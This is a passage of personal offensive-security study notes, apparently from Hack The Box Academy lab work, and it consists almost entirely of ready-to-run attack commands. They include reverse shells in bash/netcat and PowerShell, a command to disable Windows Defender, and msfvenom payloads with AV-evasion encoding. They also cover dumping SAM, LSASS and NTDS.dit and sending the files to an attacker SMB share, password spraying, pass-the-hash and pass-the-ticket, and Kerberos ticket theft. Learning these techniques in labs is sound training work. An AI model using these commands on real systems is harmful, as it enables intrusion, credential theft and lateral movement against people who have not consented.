rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f
```

* A FIFO is like a file you can read/write to, but it actually passes data between processes.
* `2>&1` merges standard error into standard output, so both STDOUT and STDERR are passed along.

Basic PowerShell reverse shell command:

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(' 10.10.15.44',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
### the above one is shit this will work good
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.44',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

Disable Windows Defender antivirus (open powershell):

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

#### Spawning Interactive Shells

```
/bin/sh -i
### Perl To Shell
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
### Ruby
ruby: exec "/bin/sh"
### Lua
lua: os.execute('/bin/sh')
### AWK
awk 'BEGIN {system("/bin/sh")}'
### Using Find For A Shell
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
### Using Exec To Launch A Shell
find . -exec /bin/sh \; -quit
### VIM
vim -c ':!/bin/sh'
### Vim Escape
vim
:set shell=/bin/sh
:shell
```

***

### Metasploit

Important source for PowerShell reverse shells: <https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1>

List all Payloads in Metasploit:

```
msfvenom -l payloads
```

Read more about stageless meterpreter payloads: <https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/>

Build a Stageless payload:

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
```

Identify the OS based on TTL: <https://subinsb.com/default-device-ttl-values/>

Banner Grab to Enumerate Ports (helps identify the OS):

```
sudo nmap -v 192.168.86.39 --script banner.nse
```

Payload Generation tools:

* <https://github.com/its-a-feature/Mythic>
* <https://github.com/bats3c/darkarmour>
* <https://github.com/samratashok/nishang>

Payload Transfer and Execution: <https://github.com/fortra/impacket>

Great tool to interact with VT:

```
msf-virustotal -k <API key> -f TeamViewerInstall.exe
```

Execute the shell interpreter in interactive mode (`-i`):

```
/bin/sh -i
```

If Perl is present:

```
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
```

If Ruby is present:

```
ruby: exec "/bin/sh"
```

If Lua is present (`os.execute` method):

```
lua: os.execute('/bin/sh')
```

AWK to spawn an interactive shell:

```
awk 'BEGIN {system("/bin/sh")}'
```

Find command to execute applications / invoke a shell:

```
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
```

```
find . -exec /bin/sh \; -quit
```

Set the shell interpreter from within VIM:

```
vim -c ':!/bin/sh'
```

Vim Escape:

```
vim
:set shell=/bin/sh
:shell
```

Web shells lists / tools:

* <https://github.com/jbarcia/Web-Shells/tree/master/laudanum>
* Great PHP shell: <https://github.com/WhiteWinterWolf/wwwolf-php-webshell>

Use the `-q` option to skip the banner:

```
msfconsole -q
```

> *\[Screenshots: Pasted image 20250413064623.png · 20250413065005.png]*

Specify the search type:

```
search eternalromance type:exploit
```

MSF - Specific Search:

```
search type:exploit platform:windows cve:2021 rank:excellent microsoft
```

MSF - Permanent Target Specification:

```
setg RHOSTS 10.10.10.40
```

MSF - Searching for Specific Payload:

```
grep meterpreter show payloads
grep -c meterpreter show payloads
grep meterpreter grep reverse_tcp show payloads
grep -c meterpreter grep reverse_tcp show payloads
```

> *\[Screenshot: Pasted image 20250413082202.png]*

Read more about one of the best encoders in Metasploit: <https://cloud.google.com/blog/topics/threat-intelligence/shikata-ga-nai-encoder-still-going-strong/>

Selecting an Encoder (this won't work anymore as rapid7 no longer supports msfpayload):

```
msfpayload windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -b '\x00' -f perl -e x86/shikata_ga_nai
```

Generating Payload - Without Encoding:

```
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl
```

Generating Payload - With Encoding:

```
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
```

How the encoder works: <https://hatching.io/blog/metasploit-payloads2/>

> *\[Screenshot: Pasted image 20250414065840.png]*

MSF - VirusTotal:

```
msf-virustotal -k <API key> -f TeamViewerInstall.exe
```

```
systemctl start postgresql
msfdb init
msfdb status
msfdb run
```

> *\[Screenshots: Pasted image 20250414071035.png · 20250414072643.png]*

Add a workspace:

```
workspace -a Target_1
```

Use the workspace:

```
workspace Target_1
```

Workspace help menu:

```
workspace -h
```

Importing Scan Results:

```
db_import Target.xml
```

Use Nmap straight from msfconsole:

```
db_nmap -sV -sS 10.10.10.8
```

Back up our data:

```
db_export -f xml backup.xml
```

MSF - Stored Hosts:

```
hosts -h
```

Services:

```
services -h
```

Creds:

```
creds -h
```

Loot:

```
loot -h
```

Load a plugin inside the msfconsole:

```
load nessus
```

To install new plugins, get the rb file and add it to `/usr/share/metasploit-framework/plugins`, then just load the plugin you added.

Open a specific session:

```
sessions -i 1
```

When we run an exploit, we can run it as a job by typing `exploit -j`. To list all running jobs, use `jobs -l`.

Read more about Meterpreter shells:

* <https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/>
* <https://www.blackhillsinfosec.com/modifying-metasploit-x64-template-for-av-evasion/>

> *\[Screenshot: Pasted image 20250414102705.png]*

MSF - Dumping Hashes:

```
hashdump
lsa_dump_sam
```

MSF - Meterpreter LSA Secrets Dump:

```
lsa_dump_secrets
```

<https://www.exploit-db.com/?tag=3>

***

### Password Attacks

> *\[Screenshot: Pasted image 20250415060502.png]*

Read more on Linux user authentication: <https://tldp.org/HOWTO/pdf/User-Authentication-HOWTO.pdf> and Windows: <https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication>

> *\[Screenshot: Pasted image 20250415062012.png]*

The [Local Security Authority](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) (`LSA`) is a protected subsystem that authenticates users and logs them into the local computer. LSASS is found at `%SystemRoot%\System32\Lsass.exe`.

> *\[Screenshot: Pasted image 20250415062437.png]*

**SAM Database** — stores users' passwords, located at `%SystemRoot%/system32/config/SAM`, mounted on `HKLM/SAM`. `SYSKEY` (`syskey.exe`) partially encrypts the on-disk SAM.

**Credential Manager** — credentials are encrypted and stored at:

```
C:\Users\[Username]\AppData\Local\Microsoft\[Vault/Credentials]\
```

> *\[Screenshot: Pasted image 20250415063528.png]*

#### John the Ripper / Hashcat

> *\[Screenshot: Pasted image 20250415094402.png]*

Dictionary attack with hashcat:

```
hashcat -a 0 -m 0 e3e3ec5831ad5e7288241960e5d4fdb8 /usr/share/wordlists/rockyou.txt
```

List the rules that can be used with hashcat:

```
ls -l /usr/share/hashcat/rules
```

Use a rule:

```
hashcat -a 0 -m 0 1b0556a75770563578569ae21392630c /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

[Mask attack](https://hashcat.net/wiki/doku.php?id=mask_attack) (`-a 3`). Example mask `?u?l?l?l?l?d?s`:

```
hashcat -a 3 -m 0 1e293d6912d074c0fd15844d803400dd '?u?l?l?l?l?d?s'
```

Show a hash that was cracked before:

```
hashcat --show -m 0 e3e3ec5831ad5e7288241960e5d4fdb8
```

Apply rules in `custom.rule` to each word in `password.list` and store mutated results:

```
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
```

Basic John the Ripper command:

```
john --format=<hash_type> <hash or hash_file>
```

Example with SHA-256:

```
john --format=sha256 hashes_to_crack.txt
```

Crack MD5 hash with john:

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

> *\[Screenshots: Pasted image 20250415100003.png · 20250415100055.png · 20250415100116.png]*

Wordlist Mode:

```
john --wordlist=<wordlist_file> --rules <hash_file>
```

Incremental Mode:

```
john --incremental <hash_file>
```

> *\[Screenshot: Pasted image 20250415100645.png]* (tools to convert protected files to crack with JOHN)

#### WinRM / CrackMapExec / Evil-WinRM

Official CME documentation: <https://web.archive.org/web/20231116172005/https://www.crackmapexec.wiki/>

CrackMapExec — brute force from a user list and password list:

```
crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>
crackmapexec winrm 10.129.42.197 -u user.list -p password.list
```

Evil-WinRM Usage:

```
evil-winrm -i <target-IP> -u <username> -p <password>
evil-winrm -i 10.129.42.197 -u user -p password
```

#### Hydra

Hydra - SSH:

```
hydra -L user.list -P password.list ssh://10.129.42.197
```

Hydra - RDP:

```
hydra -L user.list -P password.list rdp://10.129.42.197
```

xFreeRDP:

```
xfreerdp /v:<target-IP> /u:<username> /p:<password>
```

Hydra - SMB:

```
hydra -L user.list -P password.list smb://10.129.42.197
```

Replace the above using metasploit:

```
use auxiliary/scanner/smb/smb_login
set user_file user.list
set pass_file password.list
set rhosts 10.129.42.197
exploit
```

View available shares and privileges with CrackMapExec:

```
crackmapexec smb 10.129.42.197 -u "user" -p "password" --shares
```

Interact with SMB using smbclient:

```
smbclient -U user \\\\10.129.42.197\\SHARENAME
```

Display content in a file from SMB connection:

```
more flag.txt
```

#### Wordlist generation & tuning

Generating Rule-based Wordlist with hashcat:

```
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
```

Hashcat Existing Rules:

```
ls /usr/share/hashcat/rules/
```

Generating Wordlists Using CeWL:

```
cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist
```

Split the password list you generated:

```
awk 'lenght($0) >= 10' mut_password.list > mut_password2.list
```

To make hydra faster use the flag `-t 48`.

Hunting for SSH keys:

```
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null
```

Check whether an SSH key is encrypted:

```
ssh-keygen -yf ~/.ssh/id_ed25519
```

#### Password spraying / credential stuffing

```
netexec smb 10.100.38.0/24 -u <usernames.list> -p 'ChangeMe123!'
### Credential stuffing
hydra -C user_pass.list ssh://10.100.38.23
### great tool for default creds cheat sheets
pip3 install defaultcreds-cheat-sheet
creds search linksys
```

Default credentials DB: <https://github.com/ihebski/DefaultCreds-cheat-sheet>

Credential Stuffing - Hydra Syntax:

```
hydra -C <user_pass.list> <protocol>://<IP>
hydra -C user_pass.list ssh://10.129.42.197
```

***

#### Copying SAM Registry Hives

> *\[Screenshot: Pasted image 20250415170308.png]*

Dump the SAM, SYSTEM, and SECURITY registry hives:

```cmd
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
```

Run an SMB server to move the files from the target to your attacking machine:

```bash
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/kali
```

From the target CMD, move the files to your machine:

```cmd
move sam.save \\attackin_ip\CompData
move security.save \\attackin_ip\CompData
move system.save \\attackin_ip\CompData
```

Run `secretsdump.py` to extract the hashes from the transferred hives:

```bash
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
```

Then crack the extracted hashes with hashcat — put the hashes in a file first:

```bash
sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt
```

#### Dumping LSA Secrets Remotely

```bash
crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa
```

#### Dumping SAM Remotely

```bash
crackmapexec smb 10.129.202.137 --local-auth -u bob -p HTB_@cademy_stdnt! --sam
```

#### Dumping LSASS

> *\[Screenshot: Pasted image 20250416065926.png]*

Finding the LSASS PID in cmd:

```cmd
tasklist /svc
```

```powershell
Get-Process lsass
```

With an elevated PowerShell session, create the dump file:

```cmd
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
```

Running Pypykatz against the dump:

```bash
pypykatz lsa minidump /home/peter/Documents/lsass.dmp
```

> *\[Screenshots: Pasted image 20250416071412.png · 20250416073923.png]* · <https://attack.mitre.org/techniques/T1003/003/>

#### Username Enumeration & Spraying Tools

<https://github.com/urbanadventurer/username-anarchy> — tool to convert a list of real names into common username formats.

```bash
./username-anarchy -i /home/ltnbob/names.txt
```

Then use crackmapexec to launch the attack:

```bash
sudo crackmapexec smb 10.129.202.85 -u  -p /usr/share/wordlists/fasttrack.txt
```

Enumerating valid usernames with Kerbrute:

```bash
./kerbrute_linux_amd64 userenum --dc 10.129.201.57 --domain inlanefreight.local names.txt
```

Launching a brute-force attack with NetExec:

```bash
netexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt
```

#### Capturing NTDS.dit

`NT Directory Services` (`NTDS`) is the directory service used with AD to find & organize network resources. The `NTDS.dit` file is stored at `%systemroot%/ntds` on the domain controllers in a [forest](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/using-the-organizational-domain-forest-model). The `.dit` stands for [directory information tree](https://docs.oracle.com/cd/E19901-01/817-7607/dit.html). This is the primary database file associated with AD and stores all domain usernames, password hashes, and other critical schema information. If this file can be captured, we could potentially compromise every account on the domain (similar to the `Attacking SAM` technique).

Creating a Shadow Copy of C:

```cmd
vssadmin CREATE SHADOW /For=C:
```

Copying NTDS.dit from the VSS:

```cmd
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
```

Transferring NTDS.dit to the Attack Host:

```cmd
cmd.exe /c move C:\NTDS\NTDS.dit \\10.10.15.30\CompData
```

Extracting hashes from NTDS.dit:

```bash
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
```

A faster method — using NetExec to capture NTDS.dit:

```bash
netexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! -M ntdsutil
```

Using cme to Capture NTDS.dit:

```bash
crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds
```

Then crack the hashes with hashcat:

```bash
sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt
```

`What if we are unsuccessful in cracking a hash?` — Pass-the-Hash Considerations:

```bash
evil-winrm -i 10.129.201.57  -u  Administrator -H "64f12cddaa88057e06a81b54e73b949b"
```

#### Credential Hunting (Local)

<https://github.com/AlessandroZ/LaZagne> — open source application used to retrieve lots of passwords stored on a local computer.

Hunting for passwords using findstr (Windows):

```cmd
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
```

Hunt for config files in Linux:

```bash
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
```

```bash
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
```

Databases:

```bash
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
```

Notes:

```bash
find /home/* -type f -name "*.txt" -o ! -name "*.*"
```

Scripts:

```bash
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
```

Cronjobs:

```bash
cat /etc/crontab
```

SSH Private Keys:

```bash
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
```

SSH Public Keys:

```bash
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
```

History:

```bash
tail -n5 /home/*/.bash*
```

Log files:

> *\[Screenshot: Pasted image 20250416130641.png]*

```bash
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
```

Memory and Cache: <https://github.com/huntergregal/mimipenguin> — a tool to dump the login password from the current Linux desktop user. <https://github.com/unode/firefox_decrypt>

In the `passwd` file the value `x` usually means the passwords are stored encrypted in `/etc/shadow`. However, it can also be that the `/etc/passwd` file is writeable by mistake. This would allow us to clear this field for `root` so that the password info field is empty, causing the system not to prompt for a password when logging in as `root`.

> *\[Screenshots: Pasted image 20250417074341.png · 20250417074523.png · 20250417074736.png]*

```bash
grep -ri "passw" .
```

Cracking Linux Credentials — Unshadow:

```bash
sudo cp /etc/passwd /tmp/passwd.bak
sudo cp /etc/shadow /tmp/shadow.bak
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
```

Hashcat — Cracking Unshadowed Hashes:

```bash
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
```

```bash
cat md5-hashes.list
hashcat -m 500 -a 0 md5-hashes.list rockyou.txt
```

[Pcredz](https://github.com/lgandx/PCredz) is a tool that can be used to extract credentials from live traffic or network packet captures.

> *\[Screenshot: Pasted image 20250417124844.png]*

#### Pass the Hash (PtH)

Pass the Hash from Windows Using Mimikatz:

```cmd
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
```

Pass the Hash with PowerShell Invoke-TheHash (Windows) — <https://github.com/Kevin-Robertson/Invoke-TheHash>

Invoke-TheHash with SMB:

```powershell
Import-Module .\Invoke-TheHash.psd1
```

```powershell
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
```

Invoke-TheHash with WMI:

```powershell
Import-Module .\Invoke-TheHash.psd1
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e the encrypted powershell reverse shell"
```

Pass the Hash with Impacket PsExec (Linux):

```bash
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
```

Other Impacket tools for PtH command execution:

* [impacket-wmiexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)
* [impacket-atexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py)
* [impacket-smbexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py)

Pass the Hash with CrackMapExec (Linux):

```bash
crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
```

CrackMapExec - Command Execution:

```bash
crackmapexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami
```

Review the [CrackMapExec documentation Wiki](https://web.archive.org/web/20220902185948/https://wiki.porchetta.industries/) ([NetExec documentation wiki](https://www.netexec.wiki/)).

Pass the Hash with evil-winrm:

```bash
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
```

Pass the Hash with RDP (Linux) — caveats: `Restricted Admin Mode`, which is disabled by default, should be enabled on the target host; otherwise you get an error.

> *\[Screenshot: Pasted image 20250417130614.png]*

Enable it by adding a new registry key `DisableRestrictedAdmin` (REG\_DWORD) under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa` with value 0:

```cmd
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
```

Pass the Hash Using RDP:

```bash
xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
```

These settings are only for local administrative accounts. See Will Schroeder's [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy](https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167).

Pass the Hash with NetExec (Linux):

```bash
netexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
```

#### Pass the Ticket (PtT) & Kerberos on Linux

PS - Check if a Linux machine is domain-joined — <https://web.archive.org/web/20210624040251/https://www.2daygeek.com/how-to-identify-that-the-linux-server-is-integrated-with-active-directory-ad/>

```bash
ps -ef | grep -i "winbind\|sssd"
```

Finding KeyTab files:

```bash
find / -name *keytab* -ls 2>/dev/null
```

Reviewing environment variables for ccache files:

```bash
env | grep -i krb5
```

Harvesting Kerberos Tickets from Windows — Mimikatz module `sekurlsa::tickets /export` produces `.kirbi` files:

```cmd
mimikatz.exe
privilege::debug
sekurlsa::tickets /export
```

Tickets ending with `$` correspond to the computer account. User tickets look like `[randomvalue]-username@service-domain.local.kirbi`.

Rubeus - Export Tickets:

```cmd
Rubeus.exe dump /nowrap
```

Pass the Key / OverPass the Hash — converts a hash/key (rc4\_hmac, aes256\_cts\_hmac\_sha1, etc.) for a domain-joined user into a full `Ticket-Granting-Ticket (TGT)`.

Mimikatz - Extract Kerberos Keys:

```cmd
mimikatz.exe
privilege::debug
sekurlsa::ekeys
```

Mimikatz - Pass the Key or OverPass the Hash:

```cmd
mimikatz.exe
privilege::debug
sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f
```

Rubeus - Pass the Key or OverPass the Hash:

```cmd
Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap
```

**Note:** Mimikatz requires administrative rights to perform Pass the Key/OverPass the Hash; Rubeus doesn't. See [Rubeus Example for OverPass the Hash](https://github.com/GhostPack/Rubeus#example-over-pass-the-hash).

Rubeus Pass the Ticket:

```cmd
Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
```

Import a ticket into the current session using the `.kirbi` file from disk — Rubeus:

```cmd
Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
```

Convert a `.kirbi` to base64 with PowerShell:

```powershell
[Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))
```

Pass the Ticket - Base64 Format:

```cmd-session
Rubeus.exe ptt /ticket:base46value
```

Mimikatz - Pass the Ticket:

```cmd
mimikatz.exe
privilege::debug
kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"
```

Mimikatz - PowerShell Remoting with Pass the Ticket (lateral movement):

```cmd
mimikatz.exe
privilege::debug
kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"
powershell
Enter-PSSession -ComputerName DC01
```

Rubeus `createnetonly` creates a sacrificial process/logon session ([Logon type 9](https://eventlogxp.com/blog/logon-type-what-does-it-mean/)) — equivalent of `runas /netonly`, preventing erasure of existing TGTs:

```cmd
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
```

Rubeus - Pass the Ticket for Lateral Movement:

```cmd
Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
powershell
Enter-PSSession -ComputerName DC01
```

Identifying Linux and Active Directory Integration with [realm](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/windows_integration_guide/cmd-realmd):

```bash
realm list
```

If `realm` is not available, look for `sssd` or `winbind`. Finding Keytab Files:

```bash
find / -name *keytab* -ls 2>/dev/null
```

Find such files by checking the cron jobs running:

```bash
crontab -l
```

Reviewing Environment Variables for ccache Files:

```bash
env | grep -i krb5
```

`ccache` files are located, by default, at `/tmp`:

```bash
ls -la /tmp
```

Listing keytab File Information:

```bash
klist -k -t /opt/specialfiles/carlos.keytab
```

Impersonating a User with a keytab:

```bash
kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab
```

Confirm access to the shared folder `\\dc01\carlos`:

```bash
smbclient //dc01/carlos -k -c ls
```

Keytab Extract — crack the account's password by extracting hashes from the keytab using [KeyTabExtract](https://github.com/sosdave/KeyTabExtract):

```bash
python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab
```

Crack the NTLM hash with [Hashcat](https://hashcat.net/) or [John the Ripper](https://www.openwall.com/john/), or use <https://crackstation.net/>.

Importing the ccache File into our Current Session:

```bash
klist
cp /tmp/krb5cc_647401106_I8I133 .
export KRB5CCNAME=/root/krb5cc_647401106_I8I133
klist
smbclient //dc01/C$ -k -c ls -no-pass
```

Using Linux Attack Tools with Kerberos:

```bash
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gzip -d chisel_1.7.7_linux_amd64.gz
mv chisel_* chisel && chmod +x ./chisel
sudo ./chisel server --reverse
```

Connect to MS01 with xfreerdp:

```bash
xfreerdp /v:10.129.204.23 /u:david /d:inlanefreight.htb /p:Password2 /dynamic-resolution
```

Execute chisel from MS01:

```cmd
c:\tools\chisel.exe UR_Attacking_IP 10.10.14.33:8080 R:socks
```

Setting the KRB5CCNAME Environment Variable:

```bash
export KRB5CCNAME=/home/htb-student/krb5cc_647401106_I8I133
```

Using Impacket with proxychains and Kerberos Authentication:

```bash
proxychains impacket-wmiexec dc01 -k -no-pass
```

To use [evil-winrm](https://github.com/Hackplayers/evil-winrm) with Kerberos, install `krb5-user` (realm `INLANEFREIGHT.HTB`, KDC `DC01`):

```bash
sudo apt-get install krb5-user -y
```

> *\[Screenshot: Pasted image 20250418035115.png]* — Kerberos Configuration File for INLANEFREIGHT.HTB

Now use evil-winrm:

```shell-session
proxychains evil-winrm -i dc01 -r inlanefreight.htb
```

Convert a `ccache` (Linux) to a `.kirbi` (Windows) with [impacket-ticketConverter](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py):

```bash
impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi
```

Importing Converted Ticket into Windows Session with Rubeus:

```cmd
C:\tools\Rubeus.exe ptt /ticket:c:\tools\julio.kirbi
dir \\dc01\julio
```

[Linikatz](https://github.com/CiscoCXSecurity/linikatz) brings a similar principle to `Mimikatz` for UNIX environments. Download and Execution:

```bash
wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
/opt/linikatz.sh
```

> *\[Screenshot: Pasted image 20250418042544.png]*

#### Hunting for Encoded / Encrypted Files

Common encrypted/encoded file extensions (see [FileInfo](https://fileinfo.com/filetypes/encoded)):

```bash
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
```

Hunting for SSH Keys:

```bash
grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"
```

Using a for-loop to Display Extracted Contents:

```bash
for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null| tar xz;done
```

#### Cracking BitLocker Encrypted Drives

Use `bitlocker2john` to extract the hash. [Four different hashes](https://openwall.info/wiki/john/OpenCL-BitLocker) will be extracted; we'll use the first (BitLocker password):

```bash
bitlocker2john -i Backup.vhd > backup.hashes
grep "bitlocker\$0" backup.hashes > backup.hash
cat backup.hash
```

Using hashcat to Crack backup.hash:

```bash
hashcat -m 22100 backup.hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt -o backup.cracked
```

#### Pass the Certificate / Shadow Credentials

```bash
impacket-ntlmrelayx -t http://10.129.234.172/certsrv/Default.asp --adcs -smb2support --template KerberosAuthentication
python3 printerbug.py INLANEFREIGHT.LOCAL/wwhite:"package5shores_topher1"@10.129.234.174  10.10.14.198
# https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py
git clone https://github.com/dirkjanm/PKINITtools.git && cd PKINITtools
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
# If you encounter error "Error detecting the version of libcrypto", fix by installing oscrypto:
pip3 install -I git+https://github.com/wbond/oscrypto.git
python3 gettgtpkinit.py -cert-pfx ../DC01\$.pfx -dc-ip 10.129.234.174  'inlanefreight.local/dc01$' /tmp/dc.ccache
export KRB5CCNAME=/tmp/dc.ccache
impacket-secretsdump -k -no-pass -dc-ip 10.129.234.174 -just-dc-user Administrator 'INLANEFREIGHT.LOCAL/DC01$'@DC01.INLANEFREIGHT.LOCAL
```

Shadow Credentials (msDS-KeyCredentialLink):

```bash
